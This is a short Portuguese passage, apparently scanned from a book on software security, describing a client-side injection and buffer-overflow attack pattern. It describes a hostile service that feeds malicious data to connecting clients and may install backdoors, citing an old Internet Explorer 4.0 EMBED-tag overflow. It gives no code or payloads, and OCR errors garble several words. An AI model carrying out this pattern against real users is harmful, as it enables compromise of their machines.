Padrio de ataque: lnje~io no client-side, buffer overflow Obtenha informa~6es sobre o tipo de cliente que se anexa ao seu servi~o hostil. Alimente intencionalmente os dados maliciosos ao cliente para explora-lo. Possivelmente instale backdoors.
* Exemplo de ataque: 0
buffer overflow no Internet Explorer 4.0 via tag EMBED
